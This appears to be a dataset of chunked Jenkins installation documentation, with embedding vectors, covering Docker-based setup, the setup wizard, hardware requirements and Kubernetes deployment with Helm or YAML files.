Create Dockerfile with the following content: + [source,subs="attributes+"] ---- FROM jenkins/jenkins:{jenkins-stable}-jdk17 USER root RUN apt-get update && apt-get install -y lsb-release RUN curl -fsSLo /usr/share/keyrings/docker-archive-keyring.asc \ https://download.docker.com/linux/debian/gpg RUN echo "deb [arch=$(dpkg --print-architecture) \ signed-by=/usr/share/keyrings/docker-archive-keyring.asc] \ https://download.docker.com/linux/debian \ $(lsb\_release -cs) stable" > /etc/apt/sources.list.d/docker.list RUN apt-get update && apt-get install -y docker-ce-cli USER jenkins RUN jenkins-plugin-cli --plugins "blueocean:1.27.12 docker-workflow:580.vc0c340686b\_54 json-path-api" ---- .. Build a new docker image from this Dockerfile and assign the image a meaningful name, e.g. "myjenkins-blueocean:{jenkins-stable}-1": + [source,bash,subs="attributes+"] ---- docker build -t myjenkins-blueocean:{jenkins-stable}-1 . ---- Keep in mind that the process described above will automatically download the official Jenkins Docker image if this hasn't been done before. . Run your own `myjenkins-blueocean:{jenkins-stable}-1` image as a container in Docker using the following link:https://docs.docker.com/engine/reference/run/[`docker run`] command: + [source,bash,subs="attributes+"] ---- docker run \ --name jenkins-blueocean \# <1> --detach \# <2> --network jenkins \# <3> --env DOCKER\_HOST=tcp://docker:2376 \# <4> --env DOCKER\_CERT\_PATH=/certs/client \ --env DOCKER\_TLS\_VERIFY=1 \ --publish 8080:8080 \# <5> --publish 50000:50000 \# <6> --volume jenkins-data:/var/jenkins\_home \# <7> --volume jenkins-docker-certs:/certs/client:ro \# <8> --volume "$HOME":/home \# <9> --restart=on-failure \# <10> --env JAVA\_OPTS="-Dhudson.plugins.git.GitSCM.ALLOW\_LOCAL\_CHECKOUT=true" \# <11> myjenkins-blueocean:{jenkins-stable}-1 # <12> ---- <1> ( \_Optional\_ ) Specifies the Docker container name for this instance of the Docker image. <2> ( \_Optional\_ ) Runs the current container in the background (i.e. "detached" mode) and outputs the container ID. If you do not specify this option, then the running Docker log for this container is output in the terminal window. <3> Connects this container to the `jenkins` network defined in the earlier step. This makes the Docker daemon from the previous step available to this Jenkins container through the hostname `docker`. <4> Specifies the environment variables used by `docker`, `docker-compose`, and other Docker tools to connect to the Docker daemon from the previous step. <5> Maps (i.e. "publishes") port 8080 of the current container to port 8080 on the host machine. The first number represents the port on the host while the last represents the container's port. Therefore, if you specified `-p 49000:8080` for this option, you would be accessing Jenkins on your host machine through port 49000. <6> ( \_Optional\_ ) Maps port 50000 of the current container to port 50000 on the host machine. This is only necessary if you have set up one or more inbound Jenkins agents on other machines, which in turn interact with your `jenkins-blueocean` container (the Jenkins "controller"). Inbound Jenkins agents communicate with the Jenkins controller through TCP port 50000 by default. You can change this port number on your Jenkins controller through the xref:user-docs:security:managing-security.adoc[Security] page. If you were to change the \*TCP port for inbound Jenkins agents\* of your Jenkins controller to 51000 (for example), then you would need to re-run Jenkins (via this `docker run ...` command) and specify this "publish" option with something like `--publish 52000:51000`, where the last value matches this changed value on the Jenkins controller and the first value is the port number on the machine hosting the Jenkins controller. Inbound Jenkins agents communicate with the Jenkins controller on that port (52000 in this example). Note that link:https://www.jenkins.io/blog/2020/02/02/web-socket/[WebSocket agents] do not need this configuration. <7> Maps the `/var/jenkins\_home` directory in the container to the Docker link:https://docs.docker.com/engine/admin/volumes/volumes/[volume] with the name `jenkins-data`. Instead of mapping the `/var/jenkins\_home` directory to a Docker volume, you could also map this directory to one on your machine's local file system. For example, specifying the option + `--volume $HOME/jenkins:/var/jenkins\_home` would map the container's `/var/jenkins\_home` directory to the `jenkins` subdirectory within the `$HOME` directory on your local machine, which would typically be `/Users//jenkins` or `/home//jenkins`. Note that if you change the source volume or directory for
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/installing-jenkins/pages/_partials/_docker-for-tutorials.adoc
main
jenkins
[ -0.030055662617087364, 0.05009288713335991, -0.018940189853310585, -0.014449446462094784, -0.013247448951005936, -0.05726488307118416, -0.026831312105059624, 0.0007681649294681847, 0.040434107184410095, 0.035297371447086334, -0.05702777951955795, -0.010908279567956924, 0.00705383438616991, ...
-0.01212
on your machine's local file system. For example, specifying the option + `--volume $HOME/jenkins:/var/jenkins\_home` would map the container's `/var/jenkins\_home` directory to the `jenkins` subdirectory within the `$HOME` directory on your local machine, which would typically be `/Users//jenkins` or `/home//jenkins`. Note that if you change the source volume or directory for this, the volume from the `docker:dind` container above needs to be updated to match this. <8> Maps the `/certs/client` directory to the previously created `jenkins-docker-certs` volume. This makes the client TLS certificates needed to connect to the Docker daemon available in the path specified by the `DOCKER\_CERT\_PATH` environment variable. <9> Maps the `$HOME` directory on the host (i.e. your local) machine (usually the `/Users/` directory) to the `/home` directory in the container. Used to access local changes to the tutorial repository. <10> Configure the Docker container restart policy to restart on failure as described in the link:https://www.jenkins.io/blog/2022/05/27/docker-image-new-lifecycle/[blog post]. <11> Allow local checkout for the tutorial. See link:https://www.jenkins.io/security/advisory/2022-05-17/#SECURITY-2478[SECURITY-2478] for the reasons why this argument should not be used on a production installation. <12> The name of the Docker image, which you built in the previous step. + \*Note:\* If copying and pasting the command snippet above does not work, try copying and pasting this annotation-free version here: + [source,bash,subs="attributes+"] ---- docker run --name jenkins-blueocean --detach \ --network jenkins --env DOCKER\_HOST=tcp://docker:2376 \ --env DOCKER\_CERT\_PATH=/certs/client --env DOCKER\_TLS\_VERIFY=1 \ --publish 8080:8080 --publish 50000:50000 \ --volume jenkins-data:/var/jenkins\_home \ --volume jenkins-docker-certs:/certs/client:ro \ --volume "$HOME":/home \ --restart=on-failure \ --env JAVA\_OPTS="-Dhudson.plugins.git.GitSCM.ALLOW\_LOCAL\_CHECKOUT=true" \ myjenkins-blueocean:{jenkins-stable}-1 ---- . Proceed to the xref:#setup-wizard[Post-installation setup wizard]. ==== On Windows The Jenkins project provides a Linux container image, not a Windows container image. Be sure that your Docker for Windows installation is configured to run `Linux Containers` rather than `Windows Containers`. See the Docker documentation for instructions to link:https://docs.docker.com/docker-for-windows/#switch-between-windows-and-linux-containers[switch to Linux containers]. Once configured to run `Linux Containers`, the steps are: . Open up a command prompt window and similar to the xref:#on-macos-and-linux[macOS and Linux] instructions above do the following: . Create a bridge network in Docker + [source,bash] ---- docker network create jenkins ---- . Run a docker:dind Docker image + [source,bash] ---- docker run --name jenkins-docker --detach ^ --privileged --network jenkins --network-alias docker ^ --env DOCKER\_TLS\_CERTDIR=/certs ^ --volume jenkins-docker-certs:/certs/client ^ --volume jenkins-data:/var/jenkins\_home ^ --publish 3000:3000 --publish 5000:5000 --publish 2376:2376 ^ docker:dind ---- . Customise official Jenkins Docker image, by executing below two steps: .. Create Dockerfile with the following content: + [source,subs="attributes+"] ---- FROM jenkins/jenkins:{jenkins-stable}-jdk17 USER root RUN apt-get update && apt-get install -y lsb-release RUN curl -fsSLo /usr/share/keyrings/docker-archive-keyring.asc \ https://download.docker.com/linux/debian/gpg RUN echo "deb [arch=$(dpkg --print-architecture) \ signed-by=/usr/share/keyrings/docker-archive-keyring.asc] \ https://download.docker.com/linux/debian \ $(lsb\_release -cs) stable" > /etc/apt/sources.list.d/docker.list RUN apt-get update && apt-get install -y docker-ce-cli USER jenkins RUN jenkins-plugin-cli --plugins "blueocean:1.27.12 docker-workflow:580.vc0c340686b\_54 json-path-api" ---- .. Build a new docker image from this Dockerfile and assign the image a meaningful name, e.g. "myjenkins-blueocean:{jenkins-stable}-1": + [source,bash,subs="attributes+"] ---- docker build -t myjenkins-blueocean:{jenkins-stable}-1 . ---- Keep in mind that the process described above will automatically download the official Jenkins Docker image if this hasn't been done before. . Run your own `myjenkins-blueocean:{jenkins-stable}-1` image as a container in Docker using the following link:https://docs.docker.com/engine/reference/run/[`docker run`] command: + [source,subs="attributes+"] ---- docker run --name jenkins-blueocean --detach ^ --network jenkins --env DOCKER\_HOST=tcp://docker:2376 ^ --env DOCKER\_CERT\_PATH=/certs/client --env DOCKER\_TLS\_VERIFY=1 ^ --volume jenkins-data:/var/jenkins\_home ^ --volume jenkins-docker-certs:/certs/client:ro ^ --volume "%HOMEDRIVE%%HOMEPATH%":/home ^ --restart=on-failure ^ --env JAVA\_OPTS="-Dhudson.plugins.git.GitSCM.ALLOW\_LOCAL\_CHECKOUT=true" ^ --publish 8080:8080 --publish 50000:50000 myjenkins-blueocean:{jenkins-stable}-1 ---- . Proceed to the xref:#setup-wizard[Setup wizard]. [#accessing-the-jenkins-blue-ocean-docker-container] ==== Accessing the Docker container If you have some experience with Docker and you wish or need to access your Docker container through a terminal/command prompt using the link:https://docs.docker.com/engine/reference/commandline/exec/[`docker exec`] command, you can add an option like
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/installing-jenkins/pages/_partials/_docker-for-tutorials.adoc
main
jenkins
[ 0.002010384341701865, 0.04143856093287468, 0.0019484778167679906, -0.02277345582842827, 0.04448529705405235, -0.048129886388778687, -0.059611350297927856, 0.004225807264447212, 0.08296062052249908, -0.03191588819026947, -0.02915997803211212, -0.07068103551864624, 0.050696391612291336, 0.06...
-0.022815
--publish 8080:8080 --publish 50000:50000 myjenkins-blueocean:{jenkins-stable}-1 ---- . Proceed to the xref:#setup-wizard[Setup wizard]. [#accessing-the-jenkins-blue-ocean-docker-container] ==== Accessing the Docker container If you have some experience with Docker and you wish or need to access your Docker container through a terminal/command prompt using the link:https://docs.docker.com/engine/reference/commandline/exec/[`docker exec`] command, you can add an option like `--name jenkins-tutorial` to the `docker exec` command. That will access the Jenkins Docker container named "jenkins-tutorial". This means you could access your docker container (through a separate terminal/command prompt window) with a `docker exec` command like: `docker exec -it jenkins-blueocean bash` [#accessing-the-jenkins-console-log-through-docker-logs] ==== Accessing the Docker logs There is a possibility you may need to access the Jenkins console log, for instance, when xref:#unlocking-jenkins[Unlocking Jenkins] as part of the xref:#setup-wizard[Post-installation setup wizard]. The Jenkins console log is easily accessible through the terminal/command prompt window from which you executed the `docker run ...` command. In case if needed you can also access the Jenkins console log through the link:https://docs.docker.com/engine/reference/commandline/logs/[Docker logs] of your container using the following command: `docker logs ` Your `` can be obtained using the `docker ps` command. ==== Accessing the Jenkins home directory There is a possibility you may need to access the Jenkins home directory, for instance, to check the details of a Jenkins build in the `workspace` subdirectory. If you mapped the Jenkins home directory (`/var/jenkins\_home`) to one on your machine's local file system (i.e. in the `docker run ...` command xref:#downloading-and-running-jenkins-in-docker[above]), then you can access the contents of this directory through your machine's usual terminal/command prompt. Otherwise, if you specified the `--volume jenkins-data:/var/jenkins\_home` option in the `docker run ...` command, you can access the contents of the Jenkins home directory through your container's terminal/command prompt using the link:https://docs.docker.com/engine/reference/commandline/container\_exec/[`docker container exec`] command: `docker container exec -it bash` As mentioned xref:#accessing-the-jenkins-console-log-through-docker-logs[above], your `` can be obtained using the link:https://docs.docker.com/engine/reference/commandline/container\_ls/[`docker container ls`] command. If you specified the + `--name jenkins-blueocean` option in the `docker container run ...` command above (see also xref:#accessing-the-jenkins-blue-ocean-docker-container[Accessing the Jenkins/Blue Ocean Docker container]), you can simply use the `docker container exec` command: `docker container exec -it jenkins-blueocean bash` //// Might wish to add explaining the `docker run -t` option, which was covered in the old installation instructions but not above. Also mention that spinning up a container of the `jenkins/jenkins` Docker image can be done so with all the same https://github.com/jenkinsci/docker#usage[configuration options] available to the other images published by the Jenkins project. Explain colon syntax on Docker image references like `jenkins/jenkins:latest'. ////
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/installing-jenkins/pages/_partials/_docker-for-tutorials.adoc
main
jenkins
[ 0.024512041360139847, 0.024257773533463478, -0.05143261328339577, -0.020113283768296242, 0.03508072718977928, -0.07328100502490997, -0.02468927763402462, -0.009809146635234356, -0.008081535808742046, 0.027132881805300713, -0.032267551869153976, -0.0576043576002121, 0.03920019418001175, 0.0...
-0.027317
//// This file is only meant to be included as a snippet in other documents. There is a version of this file for the general 'Installing Jenkins' page (index.adoc) and another for tutorials (\_run-jenkins-in-docker.adoc). This file is for the \_run-jenkins-in-docker.adoc page used in the tutorials. If you update content on this page, please ensure the changes are reflected in the sibling file \_setup-wizard.adoc (used in index.adoc). //// [#setup-wizard] ==== Setup wizard Before you can access Jenkins, there are a few quick "one-off" steps you'll need to perform. ===== Unlocking Jenkins When you first access a new Jenkins instance, you are asked to unlock it using an automatically-generated password. . After the 2 sets of asterisks appear in the terminal/command prompt window, browse to `\http://localhost:8080` and wait until the \*Unlock Jenkins\* page appears. [.boxshadow] image:user-docs:installing-jenkins:setup-jenkins-01-unlock-jenkins-page.jpg[alt="Unlock Jenkins page",width=100%] . Display the Jenkins console log with the command: + [source,bash] ---- docker logs jenkins-blueocean ---- . From your terminal/command prompt window again, copy the automatically-generated alphanumeric password (between the 2 sets of asterisks). [.boxshadow] image:user-docs:installing-jenkins:setup-jenkins-02-copying-initial-admin-password.png[alt="Copying initial admin password",width=100%] . On the \*Unlock Jenkins\* page, paste this password into the \*Administrator password\* field and click \*Continue\*. ===== Customizing Jenkins with plugins After xref:#unlocking-jenkins[unlocking Jenkins], the \*Customize Jenkins\* page appears. On this page, click \*Install suggested plugins\*. The setup wizard shows the progression of Jenkins being configured and the suggested plugins being installed. This process may take a few minutes. ===== Creating the first administrator user Finally, Jenkins asks you to create your first administrator user. . When the \*Create First Admin User\* page appears, specify your details in the respective fields and click \*Save and Finish\*. . When the \*Jenkins is ready\* page appears, click \*Start using Jenkins\*. + \*Notes:\* \* This page may indicate \*Jenkins is almost ready!\* instead and if so, click \*Restart\*. \* If the page doesn't automatically refresh after a minute, use your web browser to refresh the page manually. . If required, log in to Jenkins with the credentials of the user you just created, and you're ready to start using Jenkins! [#stopping-and-restarting-jenkins] ==== Stopping and restarting Jenkins Throughout the remainder of this tutorial, you can stop your Docker container by running: [source,bash] ---- docker stop jenkins-blueocean jenkins-docker ---- To restart your Docker container: . Run the same `docker run ...` commands you ran for xref:#on-macos-and-linux[macOS, Linux] or xref:#on-windows[Windows] above. + . Browse to `\http://localhost:8080`. . Wait until the log in page appears and log in.
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/installing-jenkins/pages/_partials/_setup-wizard-for-tutorials.adoc
main
jenkins
[ -0.06288835406303406, 0.0181162990629673, -0.04423925653100014, 0.01055828295648098, 0.01720578595995903, -0.016456538811326027, 0.0008397351484745741, -0.052705008536577225, 0.024134071543812752, 0.023277489468455315, -0.011772421188652515, -0.008528023958206177, -0.02865029312670231, -0....
0.032209
//// This file is only meant to be included as a snippet in other documents. There is a version of this file for the general 'Installing Jenkins' page (index.adoc) and another for tutorials (\_run-jenkins-in-docker.adoc). This file is for the index.adoc page used in the general 'Installing Jenkins' page. //// == Prerequisites Minimum hardware requirements: \* 256 MB of RAM \* 1 GB of drive space (although 10 GB is a recommended minimum if running Jenkins as a Docker container) Recommended hardware configuration for a small team: \* 4 GB+ of RAM \* 50 GB+ of drive space Comprehensive hardware recommendations: \* Hardware: see the xref:scaling:hardware-recommendations.adoc[Hardware Recommendations] page Software requirements: \* Java: see the xref:platform-information:support-policy-java.adoc[Java Requirements] page \* Web browser: see the xref:platform-information:support-policy-web-browsers.adoc[Web Browser Compatibility] page \* For Windows operating system: xref:user-docs:administration:windows.adoc[Windows Support Policy] \* For Linux operating system: xref:platform-information:support-policy-linux.adoc[Linux Support Policy] \* For servlet containers: xref:platform-information:support-policy-servlet-containers.adoc[Servlet Container Support Policy]
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/installing-jenkins/pages/_partials/_installation_requirements.adoc
main
jenkins
[ -0.024016201496124268, 0.055410318076610565, -0.01272941567003727, -0.012955611571669579, 0.03476673737168312, -0.06056927517056465, -0.018867166712880135, 0.021161429584026337, -0.021843325346708298, -0.024142300710082054, -0.040466245263814926, -0.00790789071470499, -0.057405706495046616, ...
0.110106
== Install Jenkins with Helm v3 A typical Jenkins deployment consists of a controller node and, optionally, one or more agents. To simplify the deployment of Jenkins, we’ll use link:https://helm.sh/[Helm] to deploy Jenkins. Helm is a package manager for Kubernetes and its package format is called a chart. Many community-developed charts are available on link:https://github.com/helm/charts[GitHub]. Helm Charts provide “push button” deployment and deletion of apps, making adoption and development of Kubernetes apps easier for those with little container or microservices experience. === Prerequisites Helm command line interface:: If you don't have Helm command line interface installed and configured locally, see the sections below to xref:#install-helm[Install Helm] and xref:#configure-helm[Configure Helm]. [#install-helm] === Install Helm To install Helm CLI, follow the instructions from the link:https://helm.sh/docs/intro/install/[Installing Helm] page. [#configure-helm] === Configure Helm Once Helm is installed and set up properly, add the Jenkins repo as follows: [source,bash] ---- helm repo add jenkinsci https://charts.jenkins.io helm repo update ---- The helm charts in the Jenkins repo can be listed with the command: [source,bash] ---- helm search repo jenkinsci ---- === Create a persistent volume We want to create a link:https://kubernetes.io/docs/concepts/storage/persistent-volumes/[persistent volume] for our Jenkins controller pod. This will prevent us from losing our whole configuration of the Jenkins controller and our jobs when we reboot our minikube. This link:https://minikube.sigs.k8s.io/docs/handbook/persistent\_volumes/[official minikube doc] explains which directories we can use to mount or data. In a multi-node Kubernetes cluster, you’ll need some solution like NFS to make the mount directory available in the whole cluster. But because we use minikube which is a one-node cluster we don’t have to bother about it. We choose to use the `/data` directory. This directory will contain our Jenkins controller configuration. \*We will create a volume which is called jenkins-pv:\* . Paste the content from link:https://raw.githubusercontent.com/jenkins-infra/jenkins.io/master/content/doc/tutorials/kubernetes/installing-jenkins-on-kubernetes/jenkins-volume.yaml[https://raw.githubusercontent.com/installing-jenkins-on-kubernetes/jenkins-volume.yaml] into a YAML formatted file called `jenkins-volume.yaml`. . Run the following command to apply the spec: + [source,bash] ---- kubectl apply -f jenkins-volume.yaml ---- NOTE: It’s worth noting that, in the above spec, hostPath uses the /data/jenkins-volume/ of your node to emulate network-attached storage. This approach is only suited for development and testing purposes. For production, you should provide a network resource like a Google Compute Engine persistent disk, or an Amazon Elastic Block Store volume. [NOTE] ==== Minikube configured for hostPath sets the permissions on /data to the root account only. Once the volume is created you will need to manually change the permissions to allow the jenkins account to write its data. [source,bash] ---- minikube ssh sudo chown -R 1000:1000 /data/jenkins-volume ---- ==== === Create a service account In Kubernetes, service accounts are used to provide an identity for pods. Pods that want to interact with the API server will authenticate with a particular service account. By default, applications will authenticate as the `default` service account in the namespace they are running in. This means, for example, that an application running in the `test` namespace will use the default service account of the `test` namespace. \*We will create a service account called jenkins:\* A ClusterRole is a set of permissions that can be assigned to resources within a given cluster. Kubernetes APIs are categorized into API groups, based on the API objects that they relate to. While creating a ClusterRole, you can specify the operations that can be performed by the ClusterRole on one or more API objects in one or more API groups, just as we have done above. ClusterRoles have several uses. You can use a ClusterRole to: \* define permissions on namespaced resources and be granted within individual namespace(s) \* define permissions on namespaced resources and be granted across all namespaces
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/installing-jenkins/pages/_partials/_kubernetes.adoc
main
jenkins
[ 0.04244304448366165, 0.012076536193490028, 0.034596413373947144, -0.06832878291606903, 0.009408706799149513, -0.01462407037615776, -0.053427133709192276, -0.005088173784315586, 0.04782433062791824, 0.048325348645448685, 0.0021296062041074038, -0.10582373291254044, 0.010313534177839756, 0.0...
0.075255
or more API objects in one or more API groups, just as we have done above. ClusterRoles have several uses. You can use a ClusterRole to: \* define permissions on namespaced resources and be granted within individual namespace(s) \* define permissions on namespaced resources and be granted across all namespaces \* define permissions on cluster-scoped resources If you want to define a role cluster-wide, use a ClusterRole; if you want to define a role within a namespace, use a Role. A role binding grants the permissions defined in a role to a user or set of users. It holds a list of subjects (users, groups, or service accounts), and a reference to the role being granted. A RoleBinding may reference any Role in the same namespace. Alternatively, a RoleBinding can reference a ClusterRole and bind that ClusterRole to the namespace of the RoleBinding. To bind a ClusterRole to all the namespaces in our cluster, we use a ClusterRoleBinding. . Paste the content from link:https://raw.githubusercontent.com/jenkins-infra/jenkins.io/master/content/doc/tutorials/kubernetes/installing-jenkins-on-kubernetes/jenkins-sa.yaml[https://raw.githubusercontent.com/installing-jenkins-on-kubernetes/jenkins-sa.yaml] into a YAML formatted file called `jenkins-sa.yaml`. + . Run the following command to apply the spec: + [source,bash] ---- kubectl apply -f jenkins-sa.yaml ---- === Install Jenkins We will deploy Jenkins including the Jenkins Kubernetes plugin. See the https://github.com/jenkinsci/helm-charts/tree/main/charts/jenkins[official chart] for more details. . To enable persistence, we will create an override file and pass it as an argument to the Helm CLI. Paste the content from https://raw.githubusercontent.com/jenkinsci/helm-charts/main/charts/jenkins/values.yaml into a YAML formatted file called `jenkins-values.yaml`. + The `jenkins-values.yaml` is used as a template to provide values that are necessary for setup. . Open the `jenkins-values.yaml` file in your favorite text editor and modify the following: \* nodePort: Because we are using minikube we need to use NodePort as service type. Only cloud providers offer load balancers. We define port 32000 as port. \* storageClass: + [source,yaml] ---- storageClass: jenkins-pv ---- \* serviceAccount: the serviceAccount section of the jenkins-values.yaml file should look like this: + [source,yaml] ---- serviceAccount: create: false # Service account name is autogenerated by default name: jenkins annotations: {} ---- Where `name: jenkins` refers to the serviceAccount created for jenkins. \* We can also define which plugins we want to install on our Jenkins. We use some default plugins like git and the pipeline plugin. . Now you can install Jenkins by running the `helm install` command and passing it the following arguments: \* The name of the release `jenkins` \* The -f flag with the YAML file with overrides `jenkins-values.yaml` \* The name of the chart `jenkinsci/jenkins` \* The `-n` flag with the name of your namespace `jenkins` + [source,bash] ---- chart=jenkinsci/jenkins helm install jenkins -n jenkins -f jenkins-values.yaml $chart ---- + This outputs something similar to the following: + [source,bash] ---- NAME: jenkins LAST DEPLOYED: Wed Sep 16 11:13:10 2020 NAMESPACE: jenkins STATUS: deployed REVISION: 1 ---- [NOTE] 1. Get your 'admin' user password by running: + [source,bash] ---- jsonpath="{.data.jenkins-admin-password}" secret=$(kubectl get secret -n jenkins jenkins -o jsonpath=$jsonpath) echo $(echo $secret | base64 --decode) ---- 2. Get the Jenkins URL to visit by running these commands in the same shell: + [source,bash] ---- jsonpath="{.spec.ports[0].nodePort}" NODE\_PORT=$(kubectl get -n jenkins -o jsonpath=$jsonpath services jenkins) jsonpath="{.items[0].status.addresses[0].address}" NODE\_IP=$(kubectl get nodes -n jenkins -o jsonpath=$jsonpath) echo http://$NODE\_IP:$NODE\_PORT/login ---- 3. Login with the password from step 1 and the username: admin 4. Use Jenkins Configuration as Code by specifying configScripts in your values.yaml file. See the {plugin}configuration-as-code[configuration as code documentation] and https://github.com/jenkinsci/configuration-as-code-plugin/tree/master/demos[examples]. Visit the link:https://cloud.google.com/solutions/jenkins-on-container-engine[Jenkins on Kubernetes solutions page] for more information on running Jenkins on Kubernetes. Visit the xref:projects:jcasc:index.adoc[Jenkins Configuration as Code project] for more information on configuration as code. . Depending on your environment, it
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/installing-jenkins/pages/_partials/_kubernetes.adoc
main
jenkins
[ -0.05455296114087105, -0.07204731553792953, -0.043956827372312546, 0.048613592982292175, -0.017989588901400566, -0.020389411598443985, 0.042529284954071045, -0.06741811335086823, 0.0065283384174108505, -0.02968798391520977, -0.04597887024283409, -0.06883438676595688, 0.05882219225168228, 0...
0.1696
by specifying configScripts in your values.yaml file. See the {plugin}configuration-as-code[configuration as code documentation] and https://github.com/jenkinsci/configuration-as-code-plugin/tree/master/demos[examples]. Visit the link:https://cloud.google.com/solutions/jenkins-on-container-engine[Jenkins on Kubernetes solutions page] for more information on running Jenkins on Kubernetes. Visit the xref:projects:jcasc:index.adoc[Jenkins Configuration as Code project] for more information on configuration as code. . Depending on your environment, it can take a bit of time for Jenkins to start up. Enter the following command to inspect the status of your Pod: [source,bash] ---- kubectl get pods -n jenkins ---- Once Jenkins is installed, the status should be set to Running as in the following output: [source,bash] ---- kubectl get pods -n jenkins NAME READY STATUS RESTARTS AGE jenkins-645fbf58d6-6xfvj 1/1 Running 0 2m ---- . To access your Jenkins server, you must retrieve the password. You can retrieve your password using either of the two options below. + \*Option 1\* + Run the following command: + [source,bash] ---- jsonpath="{.data.jenkins-admin-password}" secret=$(kubectl get secret -n jenkins jenkins -o jsonpath=$jsonpath) echo $(echo $secret | base64 --decode) ---- + The output should look like this: + [source] ---- Um1kJLOWQY ---- + [NOTE] ==== 👆🏻Note that your password will be different. ==== + \*Option 2\* + Run the following command: + [source,bash] ---- jsonpath="{.data.jenkins-admin-password}" kubectl get secret -n jenkins jenkins -o jsonpath=$jsonpath ---- + The output should be a \*\*base64 encoded string\*\* like this: + [source] ---- WkIwRkdnbDZYZg== ---- + Decode the base64 string and you have your password. You can use link:https://www.base64decode.org/[this website] to decode your output. . Get the name of the Pod running that is running Jenkins using the following command: + [source,bash] ---- kubectl get pods -n jenkins ---- . Use the kubectl command to set up port forwarding: + [source,bash] ---- kubectl -n jenkins port-forward 8080:8080 Forwarding from 127.0.0.1:8080 -> 8080 Forwarding from [::1]:8080 -> 8080 ---- Visit http://127.0.0.1:8080/ and log in using `admin` as the username and the password you retrieved earlier. == Install Jenkins with YAML files This section describes how to use a set of YAML (Yet Another Markup Language) files to install Jenkins on a Kubernetes cluster. The YAML files are easily tracked, edited, and can be reused indefinitely. === Create Jenkins deployment file Copy the contents link:https://raw.githubusercontent.com/jenkins-infra/jenkins.io/master/content/doc/tutorials/kubernetes/installing-jenkins-on-kubernetes/jenkins-deployment.yaml[here] into your preferred text editor and create a jenkins-deployment.yaml file in the “jenkins” namespace we created in this xref:installing-jenkins:kubernetes.adoc#create-a-namespace[section] above. \* This link:https://raw.githubusercontent.com/jenkins-infra/jenkins.io/master/content/doc/tutorials/kubernetes/installing-jenkins-on-kubernetes/jenkins-deployment.yaml[deployment file] is defining a Deployment as indicated by the `kind` field. \* The Deployment specifies a single replica. This ensures one and only one instance will be maintained by the Replication Controller in the event of failure. \* The container image name is jenkins and version is 2.32.2 \* The list of ports specified within the spec are a list of ports to expose from the container on the Pods IP address. \*\* Jenkins running on (http) port 8080. \*\* The Pod exposes the port 8080 of the jenkins container. \* The volumeMounts section of the file creates a Persistent Volume. This volume is mounted within the container at the path /var/jenkins\_home and so modifications to data within /var/jenkins\_home are written to the volume. The role of a persistent volume is to store basic Jenkins data and preserve it beyond the lifetime of a pod. Exit and save the changes once you add the content to the Jenkins deployment file. === Deploy Jenkins To create the deployment execute: [source,bash] ---- kubectl create -f jenkins-deployment.yaml -n jenkins ---- The command also instructs the system to install Jenkins within the jenkins namespace. To validate that creating the deployment was successful you can invoke: [source,bash] ---- kubectl get deployments -n jenkins ---- === Grant access to Jenkins service
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/installing-jenkins/pages/_partials/_kubernetes.adoc
main
jenkins
[ 0.009568605571985245, -0.06198543310165405, -0.004163517151027918, 0.01752232387661934, -0.020496584475040436, -0.0425991453230381, -0.09854583442211151, -0.062035974115133286, 0.07882342487573624, 0.038526684045791626, -0.06253814697265625, -0.013467935845255852, -0.023971524089574814, -0...
0.075915
the deployment execute: [source,bash] ---- kubectl create -f jenkins-deployment.yaml -n jenkins ---- The command also instructs the system to install Jenkins within the jenkins namespace. To validate that creating the deployment was successful you can invoke: [source,bash] ---- kubectl get deployments -n jenkins ---- === Grant access to Jenkins service We have a Jenkins instance deployed but it is still not accessible. The Jenkins Pod has been assigned an IP address that is internal to the Kubernetes cluster. It’s possible to log into the Kubernetes Node and access Jenkins from there but that’s not a very useful way to access the service. To make Jenkins accessible outside the Kubernetes cluster the Pod needs to be exposed as a Service. A Service is an abstraction that exposes Jenkins to the wider network. It allows us to maintain a persistent connection to the pod regardless of the changes in the cluster. With a local deployment, this means creating a NodePort service type. A NodePort service type exposes a service on a port on each node in the cluster. The service is accessed through the Node IP address and the service nodePort. A simple service is defined link:https://raw.githubusercontent.com/jenkins-infra/jenkins.io/master/content/doc/tutorials/kubernetes/installing-jenkins-on-kubernetes/jenkins-service.yaml[here]: \* This link:https://raw.githubusercontent.com/jenkins-infra/jenkins.io/master/content/doc/tutorials/kubernetes/installing-jenkins-on-kubernetes/jenkins-service.yaml[service file] is defining a Service as indicated by the `kind` field. \* The Service is of type NodePort. Other options are ClusterIP (only accessible within the cluster) and LoadBalancer (IP address assigned by a cloud provider e.g. AWS Elastic IP). \* The list of ports specified within the spec is a list of ports exposed by this service. \*\* The port is the port that will be exposed by the service. \*\* The target port is the port to access the Pods targeted by this service. A port name may also be specified. \* The selector specifies the selection criteria for the Pods targeted by this service. To create the service execute: [source,bash] ---- kubectl create -f jenkins-service.yaml -n jenkins ---- To validate that creating the service was successful you can run: [source,bash] ---- kubectl get services -n jenkins NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE jenkins NodePort 10.103.31.217 8080:32664/TCP 59s ---- === Access Jenkins dashboard So now we have created a deployment and service, how do we access Jenkins? From the output above we can see that the service has been exposed on port 32664. We also know that because the service is of type NodeType the service will route requests made to any node on this port to the Jenkins pod. All that’s left for us is to determine the IP address of the minikube VM. Minikube have made this really simple by including a specific command that outputs the IP address of the running cluster: [source,bash] ---- minikube ip 192.168.99.100 ---- Now we can access the Jenkins instance at http://192.168.99.100:32664/ To access Jenkins, you initially need to enter your credentials. The default username for new installations is admin. The password can be obtained in several ways. This example uses the Jenkins deployment pod name. To find the name of the pod, enter the following command: [source,bash] ---- kubectl get pods -n jenkins ---- Once you locate the name of the pod, use it to access the pod’s logs. [source,bash] ---- kubectl logs -n jenkins ---- The password is at the end of the log formatted as a long alphanumeric string: [source] ---- \*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\* 